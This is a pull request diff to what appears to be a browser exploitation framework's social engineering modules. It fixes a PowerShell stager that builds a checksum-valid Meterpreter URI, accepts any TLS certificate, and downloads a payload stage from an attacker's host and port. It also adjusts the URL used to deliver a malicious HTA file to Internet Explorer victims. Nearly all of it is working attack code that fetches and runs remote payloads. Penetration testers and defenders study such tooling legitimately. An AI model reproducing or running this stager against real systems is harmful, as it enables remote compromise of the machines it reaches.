Merge pull request #1 from ReliaQuest-Labs/hta_patch

Fixed hta_powershell module so that it can establish a meterpreter session.

extensions/social_engineering/powershell/powershell_payload

@@ -400,13 +400,39 @@ function Invoke-ps
             {
                 $SSL = 's'
                 # Accept invalid certificates
-                [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
+                [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
             }
         }
         
-        # Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
-        $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
-        Write-Verbose "Requesting meterpreter payload from $Request"
+        # Meterpreter to initiate stage 0.
+	$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
+	$x = ""
+		function sum($v){
+		  return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum % 0x100 -eq 92)
+		}
+		
+		function RandomChars{
+		  $f = "";1..3 | foreach-object {$f+= $chars[(Get-Random -maximum $chars.Length)]};
+		  return $f;
+		}
+		
+		function RandomArray { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}
+		
+		function Generate{
+		for ($i=0; $i -lt 64; $i++){
+		    $h = RandomChars;$k = $d | RandomArray; 
+			foreach ($l in $k){
+			    $s = $h + $l; if (sum($s)){ 
+				return $s}
+			     }
+				return "9vXU";
+	              }	 
+		}
+
+	
+	    $GeneratedURI = Generate; 
+        $Request = "http$($SSL)://$($Lhost):$($Lport)/$GeneratedURI"
+	    Write-Verbose "Requesting meterpreter payload from $Request"
         
         $Uri = New-Object Uri($Request)
         $WebClient = New-Object System.Net.WebClient

modules/social_engineering/hta_powershell/command.js

@@ -6,7 +6,7 @@
 
 beef.execute(function () {
 
-    var hta_url = '<%= @ps_url %>' + '/hta';
+    var hta_url = '<%= @domain %>' + '<%= @ps_url %>' + '/hta';
 
     if (beef.browser.isIE()) {
         // application='yes' is IE-only and needed to load the HTA into an IFrame.